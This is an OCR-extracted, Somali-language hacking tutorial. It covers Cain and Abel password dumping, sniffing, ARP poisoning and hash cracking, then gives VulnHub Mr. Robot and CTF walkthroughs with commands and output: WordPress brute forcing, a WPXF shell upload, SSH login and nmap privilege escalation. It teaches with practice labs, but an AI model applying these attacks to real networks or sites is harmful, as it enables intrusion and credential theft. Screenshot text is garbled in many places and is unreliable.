Abel. Cain iyo Abel waxaa dayactiray Massimiliano Montoro iyo Sean
Babcock.

Isticmalka cain

Okay madama ay tahay cain and able galabka kaliye hacking ee windows
loo gu takhasusiyay ha ku ma shagaynayso linux oo kali ka mid yay ila

hadii aad ku soo shubtid wine oo ah softer ka windows oo ku shaqgaysa

} kani waa link waybak machine ah kaso aan godobka danbe ku
wadagi doono lakin hada waa inaad lasoo dagto sabab to ah website

cain FBI ayaa xidhay

Hadaba aan u guda gal no isticmalka cain :


https://web.archive.org/web/20160214132154/http:/www.oxid.it/cain.html
https://web.archive.org/web/20160214132154/http:/www.oxid.it/cain.html
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Qaybtani waxay soo saartaa oo jabsataa dhammaan ereyada sirta ah ee
nidaamka jira. Asal ahaan, waxay baareysaa halka erayga sirta ah lagu
keydiyo waxayna ku tusaysaa xogtaas. Xusuus qor kuxiran nooca
daagadaha aad isticmaaleysid astaamaha gaarkood ee aan shageyn
karin. Mararka gaar waxay sababi doontaa in nidaamka dib loo bilaabo.

Wuu igu dhacay si digniin cadaalad ah Keydso shagadaada ama ku

socodsiiso mashiin dalwaddo ah.

Waad isku dayi kartaa dadka kale oo dhan; hase yeeshee, in badan oo

iyaga ka mid ah lama sii isticmaalin oo waa kuwo duugoobay.

. | @ @ NuM EHiGE  SPooE

AUTH RESET HNTLH £}

|¢% Decoders |_§ Network Iﬁ‘? Sn

49 Cached Passwords
.4 Protected Storage
gl LSA Secrets

.. 2% Wireless Passwords
e IE 7/8/9 Passwords
C‘;ﬂ Windows Mail Passwords
»»»»» @ Dialup Passwords
.J== Edit Boxes

.. %8 Enterprise Manager
. ® Credential Manager
§-~l@ Windows Vault

Tani waa tusaale meesha aan ka soo saaray gaar ka mid ah erayga sirta

ah ee e-maylkeyga lagu keydiyey nidaamkayga. Kuwani waa ereyada sirta
ah ee lagu keydiyey nidaamka FYI.
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SHOLBER 4+ ¥ ULIDNEE03E 0

[& Oscoders [ R Newwork [l ontter [ Cracker [ Tracorcute |8 cou [Tg" wiewiess |

i:n_(.,-(;_

¥ Windows Mad Pairword)
,"‘ Diadap Punimcess

= Ede Bours

B Ertarpeoe Manages

™ Credens Manager

3 Wintows Ml Passwands |

Type

Windows Ml NNTP Account
Windiows Mud LDAR Account
Windowt Mul LDAP Account

Brp S Ao sesd

rdhackar.blogspot.can

Qalabkani wuxuu qgariiraa shabakada wuxuuna soo gabtaa baakado.
Xusuusnow inaad ubaahantahay inaad kadhigto kaarka shabakadaada

hadii kale khariidadan shabakadan ma shageyso. Run ahaan, si liidata

ayaa loo hirgaliyay. Waxaan kugula talinayaa inaad isticmaasho

Wireshark halkii aad ku gaban lahayd taraafikada. Kadib u adeegso
galabkan falangaynta.

1: Guji isku xir.

Challenge Spoofing I Fitters and ports I HTTP Fields
Traceroute ] Certificate Spoofing l Certificates Collector
Sniffer ] APR ( Ap Poison Routing ) ] APR-SSL Options

Adapter | IP address l Subnet Mask
\Device\NPF_{6855F25... 0.0.0.0 0.0.0.0
B9 \Device\NPF_{4D0SEE... 0.0.0.0 0000
89 \Device\NPF_{210D01F... 0.0.0.0 0.000

ﬂ\Dev)ce\NPF_(ASDUE... 0.0.00 0.0.00
B9 \Device\NPF_{6786279... 0.0.0.0 0000
< >
Winpcap Version 1
4.1.0.2980
Current Network Adapter

\Device\NPF_{4D0SEED3-B189-4C3B-AECF-6E582B2C4C4F}

WARNING !!! Only ethemet adapters supported

—Options

|~ Start Snifferon statup |~ Dont use Promiscuous mode
I~ Start APR on startup

OK Cancel App Help
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2: Xullee adabtaradaada bilaa wireless.

3: Skaanka Macs wireless ka. Midig u guji oo waxaad arki doontaa

ikhtiyaarkan.

Scan MAC Addresses
Resolve Host Name

Remove Delete

Remove All
Clear Promiscuous-Mode Results

Export

4: Guiji start sniffing.
-]

AHOMEESY $uv ¥ g VM
l=€ Decoders lg Network l* Sruffer l./ Cracker lu Traceroute l

File View Configure Tools MHelp

[ 1P address | MAC address | DUl fingesprint | Host m
192.168.1,1 NETGEAR INC
19216802 haney Instrument Ce
192.168.15 s Crosse Technology LTD
192.168 Hon Ha Precsion ind. Co
192168 Sarmiung Electro Mechanics
192.168.0.4
132,168
192168 Amped Wireless
192.158 v
192168 I
192.168.1.18
192.168 |
192
192 2
1% 27
1921 36
A 30
192 29
192.1 20 Amped Wireless
192.168.1,107
1921621178 Wistron NeWeb Corp
1921681155 8-Link Electronic Lamited
192.168.1,19% Wistron NeWeb Corp

Dhammaan xogta la qabtay ayaa la muujiyey oo lagu kala soocay

sanduuqga urta.
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Sida gaybta shabakadda, gaybta urta sidoo kale waxay u baahan tahay
adabtarada wireless-ka ah. Dhammaan ereyada sirta ah waa la dhuuqi
karaa oo la keydin karaa marka aad wax walba dejiso. Way fududahay in
la isticmaalo laakiin runtii waxtar leh. Waxaad sidoo kale ku dari kartaa

gabashada Wireshark kala soocida iyo ka shageynta.

¥
NTLF
AUTE

Dhagsii astaanta galka furan si aad ugudarsato feylasha gqashinka ama

guji halbeeggan si aad u bilowdo sunta arp.

£ Decodens [ § e

(S ~on

& APR-Cert (1)
AP L]

Waxay ku tusin kartaa macluumaad badan oo casiir leh oo xasaasi ah.

S S i mEED® N

L I 8

work | MY Sottes | Cracker | Troceroute M CCOU [T Wesless [0 Query |

Seatut P sddeess 2 | Packets .» Packets

1P sddres:
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Kani waa geybta sirta jabinta. Haddii aad isticmaashay suxuunta
xashiishka ama aad isku dayday dildilaac ereyga sirta ah ka hor intaadan
kuu sahlaneyn inaad isticmaasho. Waad furi kartaa soona dhoofsan
kartaa faylasha xashiishadda ah ee loo yagaan 'Cain' iyo 'Abel' adoo

adeegsanaya badhanka furan (furaha furaha furan).

=R E

Mar hadday xashiishka rartaan. Rightclick oo xulo sida aad rabto inaad
khawano lambarka sirta ah. Sida aad arki karto, waxaa jira ikhtiyaarro
badan, markaa si xor ah u tijaabi iyaga. Qaamuus, liisaska ereyada ee

bruteforce, iwm.

n
File Viex Configwe Toch Hep

SHISNBRNS |+ YmEEeD®E O N

-_'_ Oeccaen l! Metaoik l* foffer I./ Crachet ln Trecerouas InAECDU Ib Wodes: I.’g Quey ]

& Crecher User Name | LM Passward < & | NT Password | LM Hawhy | NT Hash | chasenge | Type | Nese
U LM 8 NTLM Hanbes | P\ At st st " ety * * Cerewy’ ADIBAIESY.,  JTOSCHSDTE., LM & NI
A NI Hestes (D) cneed * empty * T temeyt AADIBAIDS1..  JIOSCILIDYE.. LM & NTLM
A VS-Cochw Hubws (0 | PAGaent * empty * * *empty* ALDIRIRST..  1IDSCFRIDTG LM & NTLM
& PWL Mo (8 X — T — T - s
I Caceo 05-MDS Heh Ductionary Attack » LI Harches
B Cace PX-MD) Hah Drate-birce Atack ' LM Hashes + chalesge
P A20P-MD5 Hashes | Cryptamalyss Altach ’ NTLM Hashes

§ CRAM-MDS Mathes «
o OSPF-MAD5 Hashes ( NTLM Hoshes « challenge

o RIP2MDS Mesh | ActiveSyne > NTLM Sexzan Secanty Hashes
e VRAPHIMAL Hentes ;
B5 YNC3085 @) Select A

ol 002 Hathes (0) Nete
o 208 Hahves 1)

1
*3% MOS Mathes 0} bordeccovase
B0 SHALT Haghes (1) A3d 1o e Insent
¥ SHA-2 Mashes (8) Pemuve Delete
R RPEND-140 Hashas Remove Maching Accosrty
) Kk Prefuth Mastw “ A

emove Al

B Racus Sared-Kay =
€3 KLPUE Mashas 1) frpar
55 MESCL Heshes 1)
) MSOL Meshes )
) Oracle Heshes (2

%) Oratte TS Mashes |
& 3IP Hathes (1)

T’ ALY Cagtues ()
B PAPN Heshes (D)
"B VOA-PSX Auth DY
& CHAP Heshes (O)
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Cain and Abel waxay taageeta noocyo kala duwan oo gashin ah iyo
sidoo kale gashin-qubka WPA-PSK kuwaas oo loo isticmaalo in lagu soo

gabto sirta wifi.

S B @ gl + @ | @ B,

i
|£,, Decoders I? Network ]ﬂ_") Sniffer IJ Cracker &

lsf Cracker MD4 Hash
A LM & NTLM Hashes (0)
A NTLMv2 Hashes (0)
HR MS-Cache Hashes (0)
& PWLfiles (0)
FH Cisco |0S-MDS5 Hashes (0)
A Cisco PIX-MDS5 Hashes (0)
& APOP-MDS5 Hashes (0)
€ CRAM-MDS5 Hashes (0)
& OSPF-MD5 Hashes (0)
& RIPv2-MDS5 Hashes (0)
& VRRP-HMAC Hashes (0)
VNC-3DES (0)
nd MD2 Hashes (0)
nd MD4 Hashes (0)
md MD5 Hashes (0)
¥ SHA-1 Hashes (0)
8 SHA-2 Hashes (0)
R RIPEMD-160 Hashes (0)
{3 Kerb5 PreAuth Hashes (0)
% Radius Shared-Key Hashes (0)
65 IKE-PSK Hashes (0)
&) MSSQL Hashes (0)
& MySQL Hashes (0)
j’b Oracle Hashes (0)
5 Oracle TNS Hashes (0)
% SIP Hashes (0)
“4” 802.11 Captures (0)
“4” WPA-PSK Hashes (0)
“8” WPA-PSK Auth (0)
< CHAP Hashes (0)

Haddii aadan maglin traceroute, waxaad u baahan tahay inaad nadiifiso
aasaaska isku xirkaaga. Kani waa galab ku tusi kara dhammaan
shabakadda guud ahaan iyo sida xirmooyinka loo diro. Waxaad u
isticmaali kartaa khariidaynta shabakadda iyo waxyaabo kale. Hase
yeeshe faa'iido ma leh, hase yeeshe. Nmap (zenmap) waa hab ka fiican
oo si fudud loo isticmaali karo. Marka ka bood tan. Isticmaal nmap.
Waxaan samayn doonaa cashar gaar ah oo qoto dheer oo loogu
talagalay nmap dhawaan.
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=
a8 S o iR g v mEKaO%YE ¢ i
[ Decoders | @ Network |89 Sniffes |&f Crackes | @ Traceroute [BN CCOU |3 Wreless |00 Query |
Targel Min 1L MaxTTL - Prolocad | Podt Tmeou
19216801 SN 0 W
Stop
[Hop | 1P addess Responze [ Response [ Resporae [ Hottname Netmask [ Inetrum [ Netname [ Descrpion [ Counby_| Souce | Roue.

CCDU tab wuxuu u taagan yahay Cisco Configuration Download /
Upload. llaa aad ku jahawareeraysid router-yada cisko, ma lihid
isticmaalka badan ee xulashadan. Weerarkani wuxuu ku soo dejinayaa
router-yada faylka-faylka nidaamka deegaankaaga. Tan waxaa kaliya loo
isticmaalaa shirkadaha waaweyn. Marka anigu kuuma bari karo arrintan
wagtigan la joogo. Waxaa laga yaabaa inaan sameeyo taxane khaas ah

router cisco.

Sidaad u maleyn karto, qaybtani waxay u heellan tahay jabsiga
shabakadaha wifi iyo jabinta ereyada sirta ah ee wifi iyo sirta. Tani waa
duq waana la barbardhigay tan. Waxaa jira galab fiican oo loogu
talagalay jabsiga wifi. Qalabkani wuxuu u muugdaa inuu
bartiimaameedsanayo sirta ku saleysan wep-ka ee aan cidina isticmaalin.

Marka fiiri taxanaha jabsiga wifi halkii tan.
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- =z -

A SRR I 4 Y vmEmEaO®nE 07 1
Fa=a [ I T AT [BE | W (B o]
Mewh
Dewvew' NEF_210001F 401 24 SAFSBIEE AETFDFSA | Aowree Scan
il

P e Lot soen Verdy Sgnd | 5500 Tre | Mode Charndl [ Ftes pitgn| | Pockats | Uregus WEP s

Conent chareat

Lock. o0 chawe

Sidaas oo kale sidan bay ahayd. Hagaag, maahan wax iska caadi ah.
Waxaa jira ikhtiyaarro badan oo garsoon oo ku jira sanduuqa iyo Abel oo

aan la dareemin. Marka waan ku tusi doonaa adiga.

Kuwani waxay ku yaalliin baarka sare sida muuqata:

wr
ain

SRS HEBHRE +v B EVIVDEE20%E2 @ 2 Il

= T . T = T 3 T = T

T T 1
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Wayback Mashiinka [https://archive.org/web/]waa keyd dijitaal ah oo
World Wide Web ah, oo ay aasaaseen Internet Archive, maktabad aan
macaash doon ahayn oo ku taal San Francisco. Waxay u oggolaaneysaa
isticmaaleha inuu "dib ugu nogdo waqtigii" oo uu arko sida degellada ay
u ekaayeen waagii hore. Aasaasayaasheeda, Brewster Kahle iyo Bruce
Gilliat, waxay soo saareen Mashiinka '"Wayback Machine' iyadoo looga
dan leeyahay in la siiyo "marin guud oo loo helo dhammaan aqoonta"

iyadoo la ilaalinayo nuqulada la keydiyey ee bogagga duugoobay.

Tan iyo markii la bilaabay 2001, in ka badan 531 bilyan oo bog ayaa lagu
daray keydka. Adeeggu wuxuu sidoo kale dhaliyay muran ku saabsan

haddii la abuuro bogag

INTERNET ARCHIVE Explore more than 549 billion web pages saved over time

diiwaangashan iyada oo m}]“"aﬂ"mgﬂnmg
aan rukhsad milkiilaha

Find the Wayback Machine useful? [isleliV.yy=3

o~

laga helin ay ka dhigan

A
e

%41 ' (% |

tahay ku xadgudubka
xuguuqda lahaanshaha

meelaha gaarkood.

Isticmalka wayback machine

Waxaad hadaba ku isticmali karta waybak machine khaliya inaad serch
bar ka galiso link website aad rabto inaad waa hore eegto kadib tarikhda
dooro, imikoo kale waxaad tagi karta facebook 2006 markii la sameyay

00 kale.
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Sidaad Kor ugu gadi lahay

xirfada Hackinga

Hadaba waxa |la gadhay markaad ku toobaran lahay xirfada hackinga ama
improve garaynaysid, waxa jiran
websit yo aad xirfadada cusuub
heer shaqo ku gadhi kartiid ba jira
sababto ah waxan aad baratay

waa xirfad qaliya casrigan imkaa

| sida filnka mr robot oo kale waa
aad u hacking garayn karta adigo adeegsanaya website yadan soo

socoda:

7 VulnHub

Vlunhub waa website aad ka helayso virtual machine oo ah kaga dhigan

computer ku xidhan networkaga aad isticmashid oo kale marka aad ku
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Baran kartiid sidii aad ku baran lahayd sided si toosa aad coputer u
hacking garayn lahayd marka an imika aan eegno sida aan virtual

machine ogala soo dagi lahayn valnhub oo aan u gu tobaran lahayn

Waxa jira computero aad u badan oo https://www.vulnhub.com/ kazoo
dagsan karto marka aan imika eego ka aan ugu jeclahay oo ah coputerka

mr robot ama laga soo sameeyay filainka mr robot :

VuinHub walk through

Marka oo gu horaysa la soo dag vmbox kadib mr robot file kiisa kala soo
dag vulnhub ama linkan https://www.vulnhub.com/entry/mr-robot-
1,151/ kadib waxaad heli file ogu danbaysa .ovn tabo si toosa ayu

vmbox ugalaya :

Marka oo gu horaysa ku bilaaw nmap scan sida jantuska:

File Edit View Search Terminal Tabs Help

Waxaan helnay adeeg web ah,


https://www.vulnhub.com/
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iyo sidoo kale socodsiinta SSH. Waxaan si qoto dheer u eegi doonaa

adeegga shabakadda si aan u aragno haddii ay jiraan wax halkaas ka jira
00 aan ka faa'iideysan karno.

B — -

Cmmannp e saiiaan gesma e was gt v

root@fsociety:~#

Ma jiro amarro caadi ah oo halkan ka shageeya, sidaa darteed waxaan

doortaa inaan ka hor tago Nikto server-ka si aan u arko haddii ay jiraan
wax nugul oo muugda.

[ Most Visitedv  ll¢ _
Waa hagaag, waxaan arki karnaa tusmada galka. Fayl
User-agent: *

fsocity.dic baa ku yaal halkaas, ee aan gabanno.
key-1-of-3.txt
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:~# wget 212.83.142.84/fsocity.dic
--2019-03-13 08:09:37-- http://212.83.142.84/fsocity.dic
Connecting to 212.83.142.84:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7245381 (6.9M) [text/x-c]
Saving to: ‘fsocity.dic’

fsocity.dic 100%[= 6.91M 2.97MB/s in 2.3s

2019-03-13 08:09:40 (2.97 MB/s) - ‘fsocity.dic’ saved [7245381/7245381]

file fsocity.dic
, name offset 0x620a7574
# cat fsocity.dic

Waxaan helnay feyl gaamuus ah oo lagu weerarayo ereyga sirta ah,

laakiin wali ma hayno wax isticmaaleyaal ah... aan sii eegno.

Socodka Nikto waxay muujineysaa in bogga WordPress lagu
martigelinayo IP-gaas, taas oo sida muuqata bartilmaameed giimo sare

leh waqti kasta oo aan helno.

~# nikto --host 212.83.142.84
- Nikto v2.1

Target Hostname:
=t P

2019-83-13 08:07:51 (GMT-5)

: Apache
SS-Protection header is not defined. This header can hint to the user age o protect agains

s s not set. This could allow the r the content
a diff to the MIME type
PHP/5.5.29
-C all' to e check all p
r found
‘ten' found, with contents:
+ Apache mod_negotiation is enabled with Multivi
names. See http://www.wi 0
re found: index.html, ind

e: This might be int
'link' found, with cc <http://212.
- STATUS: Completed 5870 reques ( complete, 8.2 minu

Go

- STATUS: Completed 5880 reques: 3.1 m e rrently in plugin 'Nikto T
- STATUS: p C.
- STATUS: Comple 5890 r omplete n r 1y in plugin 'Nikto T
- STATUS: Running ave : 5 .

/wp-1links-opml.ph

found

rep: on r
(GMT-5) (4335
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Waxaan si toos ah ugu boodi karnaa WPSCAN oo aan arki karnaa waxa

aan la imaan karno.

Title: WordPress <= 5.0 - Authenticated Post Type Bypass

Reference: https://wpvulndb.com/vulnerabilities/9170

Reference: https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
Reference: https://blog.ripstech.com/2018/wordpress-post-type-privilege-escalation/
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20152

Fixed in: 4.3.18

Title: WordPress <= 5.0 - PHP Object Injection via Meta Data

Reference: https://wpvulndb.com/vulnerabilities/9171

Reference: https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20148

Fixed in: 4.3.18

Title: WordPress <= 5.0 - Authenticated Cross-Site Scripting (XSS)

Reference: https://wpvulndb.com/vulnerabilities/9172

Reference: https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20153

Fixed in: 4.3.18

Title: WordPress <= 5.0 - Cross-Site Scripting (XSS) that could affect plugins

Reference: https://wpvulndb.com/vulnerabilities/9173

Reference: https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/

Reference: https://github.com/WordPress/WordPress/commit/fb3c6ea0618fcb9a51d4f2c1940e9efcd4a
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-201560

Fixed in: 4.3.18

Title: WordPress <= 5.0 - User Activation Screen Search Engine Indexing
Reference: https://wpvulndb.com/vulnerabilities/9174

Reference: https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20151

Fixed in: 4.3.18

Title: WordPress <= 5.0 - File Upload to XSS on Apache Web Servers

Reference: https://wpvulndb.com/vulnerabilities/9175

Reference: https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/

Reference: https://github.com/WordPress/WordPress/commit/246a70bdbfac3bd45ff71c7941deeflbb206)
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20149

Fixed in: 4.3.18

Title: WordPress 3.7-5.0 (except 4.9.9) - Authenticated Code Execution
Reference: https://wpvulndb.com/vulnerabilities/9222

Reference: https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942

Fixed in: 5.0.1

Title: WordPress 3.9-5.1 - Comment Cross-Site Scripting (XSS)
Reference: https://wpvulndb.com/vulnerabilities/9230
Reference: https://github.com/WordPress/WordPress/commit/0292de60ec78c5a44956765189403654fe4d)

Waxaa jira tan oo nuglaansho ah mana hubo in midkoodna uu aadayo
meel kasta, sidaa darteed waxaan ku bilaabi doonaa xoog caayaan

isticmaalaha “root” inta aan sameynayo tiro koob dheeri ah.

Fixed in: 4.3.19

Enumerating plugins from passive detection ...

No plugins found passively
Starting the

Natiijooyinkayaga Nikto, waxaan ku aragnay dhowr bog oo dheeri ah oo

aan ku hubin karno. At / readme (qaladka naxwe ahaan asxaabta bogga).
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lyada oo ku saleysan agoonta hore ee WP, waxaan ognahay inay jirto

inuu jiro bog galitaan, marka aan iska hubino at / wp-login:

W

Remember Me

Hadda oo aan haysanno bog gal iyo feyl gaamuus, aan isku dayno inaan
soo galno. Markan, mar labaad ayaan u adeegsan doonnaa WPScan,

waxaanna u adeegsan doonnaa feyl ahaan faylka isticmaalaha iyo feyl

ahaan. Oo... waan ku jirnaa.
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WordPress 5.1.1 Is available! Please update now.

Dashboard

At a Glance

WordPress 4.3.1 running Twenty Fifteen

theme.

Activity

Wax badan ayaan ku gaban karnaa server-ka hadda markaan helnay

agoonsi.

Maaddaama deegaanka aan ku sugan yahay uusan is amaahinayn golof
gadaal ah, oo aanan awoodin inaan soo rogo feyl fayl ah, waa inaan

xoogaa hal-abuure noqdaa.

Waxaa jira mashruuc la yiraahdo WordPress Exploit Framework (WPXF)
oo aanan helin fursad aan ku ciyaaro, markaa tani waxay nogon kartaa

fursad wanaagsan. Nasasho kooban kadib gaabeynta iyo rakibaadda,

N
)

Updateto 5.1.1

Quick Draft

Save Draft

WordPress News

RSS Error: WP HTTP Error: Couldn't resolve host 'wordpress.org'

WPTavern: Google Announces Season of Docs Program to
Match Technical Writers with Open Source Projects
‘WPTavern: WordCamp Nordic Hosts Successful Kids
‘Workshop

Dev Blog: WordPress 5.1.1 Security and Maintenance
Release

waxaan leenahay WPXF oo ka socota Kali.
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[exploit/shell/admin_shell upload] > set payload exec

Loaded payload: #<Wpxf::Payloads::Exec:0x03217430>

[exploit/shell/admin_shell upload] > run

-1 Authenticating with WordPress using elliot:ER28-0652...

] Uploading payload...
Executing the payload at
http://212.83.142.84/wp-content/plugins/MCUgYfXrAe/0EahwnfhHb.php...
Result: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2 bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games: /usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
1p:x:7:7:1p:/var/spool/lpd: /usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news: /usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp: /usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www: /usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd: /usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534: nobody: /nonexistent:/usr/sbin/nologin
libuuid:x:100:10 /var/lib/libuui
syslog:x:101:104::/home/syslog:/bin/false
sshd:x:102:65534::/var/run/sshd: /usr/sbin/nologin
ftp:x:103:106: ftp daemon,,,:/srv/ftp:/bin/false
bitnamiftp:x:1000:1000::/opt/bitnami/apps:/bin/bitnami ftp false
mysql:x:1001:1001:: /home/mysql:
varnish:x:999:99 /home/varnish:
robot 1002:100 /home/robot:
Execution finished successfully

Tani sifiican ayey u shageysay, waxaana awooday inaan helo isticmaale
cusub, "robot", iyo eray sir ah "abcdefghijklmnopqgrstuvwxyz". Hadda
waxaan u boodi doonnaa ssh oo waxaan arki doonnaa haddii aan ogaan

karno inta hartay cagabaddan.

robot@212.83.142.84
84's password:
Welcome to Ubuntu 14.04.2 LTS (GNU x 3.13.0-55-generic x86_64)

* Documentation: https://help.ubuntu.com/

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

$ 1s

key-2-of-3.txt password.raw-md5

$ cat key-2-of-3.txt

Congratz! You got the second key. Try to get the last one ;)
$ cat password*

robot:c3fcd3d76192e4007dfb496cca67el3b
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Tan iyo markii aan helnay 2 ka mid ah 3, waxaan ognahay inay jiraan hal
fure oo intaa ka badan. Hadda waxaan isku dayi doonaa raadinta adoo

adeegsanaya regex si loo helo feylka.

lyadoo aan la helin marin xidid, ma dooneyno inaan helno, laakiin nasiib
wanaag Doc Sewell ayaa kaliya i xasuusiyay in Nmap uu xidid u yahay
xidid inta lagu guda jiro fasalkeena LPT-M, waxaanan arkay in Nmap uu

joogo, markaa waxaan isku dayi doonaa inaan ka faa'iideysano tan.

$ which nmap
/usr/local/bin/nmap
$ nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help

# find / -name 'key-*-of-3.txt' 2>/dev/null
/root/key-3-o0f-3.txt
/opt/bitnami/apps/wordpress/htdocs/key-1-of-3.txt
/home/robot/key-2-o0f-3.txt

# cat /root/key-3-of-3.txt
0562c58baaclo03931045f370ela3lde
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Google

Google waxay soo gabagabeeyeen Google CTF muddo aan sidaa u
fogeyn. Ma aanan kageyb gaadan, marka waxaan kafekeray inaan
kubixiyo bilowga Quest marka hore. Waxaan ka fikirayay naftayda, “intee

in le'eg bay noqon kartaa tan? - - wiilku waan galdamay. Ma ahan wax
fudud.

Baadhitaanku wuxuu leeyahay sagaal iyo toban cagabado sida ka
muugata khariiddada raadinta — midab kasta oo matalaya nooc: guduud

(misc), cagaar (pwn / pwn-re), huruud (re), iyo buluug (web). Cagabad

BEGN (-

kasta, haddii ay jirto baahi-waxay ka kooban tahay lifaag-fayl keyd ah oo
leh SHA256 hash oo ah magaca faylka.
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Guji ama dhagsii wareegyada kor ku xusan si aad ugu tagto loolanka kala

duwan iyo goristiisa. Haddii hyperlink uusan u shageyneynin cagabad,

weli kama aanan shageynin. Taasi waa waxa Qaybta 2 loogu talagalay.

Xaraash u gaar ah ktbonefish, tsuro_ iyo Farrisius. Waxay bixiyeen
faallooyin wax ku ool ah iyo jawaab celin gacan ka gaysatay hagaajinta

tayada qoraalkan.

Aynu ku bilowno marka ugu horaysa
LETTER challenge—Letter ga

Garbo-can

You rezally went durnpster diving? Amazing.
After many hours, SUCCESS ween what
looks like a three week o role and a
copy of "Relative-Time hMagazine”, you found
thiz important looking letter about the
victims PC. However the credentials aren't

readable - can you =till obtain them?

Submit flag

Marka hore, aan dib ugu magacawno feylka sida letter.zip. Waxaan sidoo

kale ku sameyn doonaa cagabad kasta oo la socota lifaaq; Waan soo
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dejinayaa lifaaga oo waxaan ugu magac dari doonaa <challenge> .zip.
Tusaale ahaan, haddii loolanka soo socdaa uu yahay Floppy, lifaaqa

ayaan ugu magacdari doonaa floppy.zip.

# unzip -1 letter.zip
Archive: letter.zip
Length Date Time Name

59922 1980-00-00 00:00 challenge.pdf

Fake Name ) -
Fake Address
Fake City

A couple of days ago

10T Credentials

Dear Customer,

Thanks for buying our super special awesome product, the Foobarnizer 9000!
Your credentials to the web interface are:
¢ Usemname

»  Password: [

Note: For security reasons we cannot change your password. Please store them safely

Waraaqda feylka.zip waxay ka koobantahay faylka PDF challenge.pdf.

Tani waa sida cagabadda.pdf ay ugu egtahay biraawsar biraawsar.

Caqgabada ayaa ah akhrinta sirta. Taasi waa wax yar. Xullo goobta ereyga

sirta ah, nuqul ka sameyso, ka dibna dhaji, ku dheh boosteejada.

Calanka ayaa ah : cTF{IcanReadDis}.
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Hack The Box

Hack The Box waa barxad internetka ah oo kuu oggolaaneysa inaad
tijaabiso oo aad horumariso xirfadahaaga Tijaabada Penetration iyo
Cybersecurity. Barxadda waxaa ku jira cagabado isku dhafan oo si joogto
ah loo cusbooneysiiyo. Cagabadaha qaarkood waxay matalayaan
xaaladaha / duruufaha dunida dhabta ah, halka kuwa kale ay la mid
yihiin CTFs. Baahnayn in la dhaho, Khawano sanduuga ayaa ka baxsan
wax soo saar haddii aad rabto inaad sare u gaaddo xirfadahaaga amniga

internetka; gaar ahaan bilow.

Si aad ugu biirto Hack the Box, waa inaad naftaada jabsato. ma ku cabsi
geliyay miyaa? Ha welwelin, magaalkan oo dhammaystiran ayaa kuu
mari doona sida loo gaaro kuwa kor ku xusan. Si kastaba ha noqotee,
waxaan si weyn kuugu talinayaa inaad marka hore isku daydo inaad
naftaada jabsato (kaligaa), oo kaliya u isticmaal godobkaan hage ahaan

haddii aad u baahato caawimaad.
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Marka hore, booqo bogga rasmiga ah ee Hack the Box. Markii aad hoos
ugu sii socotid si aad u akhriso macluumaad dheeri ah, waxaad aakhirka

arki doontaa badhanka ku soo biira; fadlan dhagsii.

Invite Code

Kadib waxaa lagugu hagaajin doonaa https://www.hackthebox.eu/invite

si aad ugu biirto Hack The Box.

waxaad si cad u arki kartaa sanduuqga goraalka oo na weydiinaya invite
code. Midig guji bogga 0o dooro ikhtiyaarka rnspect r1ement. Haddii kale,
waxaad riixi kartaa ctr1 + shift + 1 si aad u furto galabka

horumariyaha Chrome.
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Sou Network Performance

container-center centerbox

wiew-header Jdiv

panel panel-filled
panel-body’

Application  »

https://wew.hackthebox.eufiny
hidden” name="_token" value:
nwrTbQzo71ZFalyhilB6BLEImbl V4

form-group

label class="control-label” for-"code">Invite Code</label

id="verifyForm" method="post

Please enter your invite code” requ
code” class="form-control
help-block small”></span

Invite Code

buysell
timportant; ipt
native-ad” style="display: none !important;”></div

text/javascript

id="particles-js

/isfinviteapi.min.js’
htti hackthebox

html

html  body

section div div divpanel-body ferm#verifyForm diwform-group label.control-label

What's New

Y | @ | Filter Default levels ¥

Tag tab Console ah 00 qor makernvitecode ()  ka dibna riix enter. Waxaad

heli doontaa 200 Xaalad Guul iyo xog sida hoos ka muugqata:

& c @ hitps)//www.hackthebox.eu/invite ¥

£ Settings

Sources Network  Performa

fva begre gb trarengr gur vaivgr pbar, zmxr n CBFG erdhrfg gb /ncv/vaivgr/trarengri

: object
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Xaaladdayda, nooca koodh-celinta ee xogtu waxay ahayd ROT13. Hack
The Box wuxuu kaloo adeegsadaa BASE64; markaa ha murugoon haddii

noocyadeenna wax lagu goro ay ka duwan yihiin.

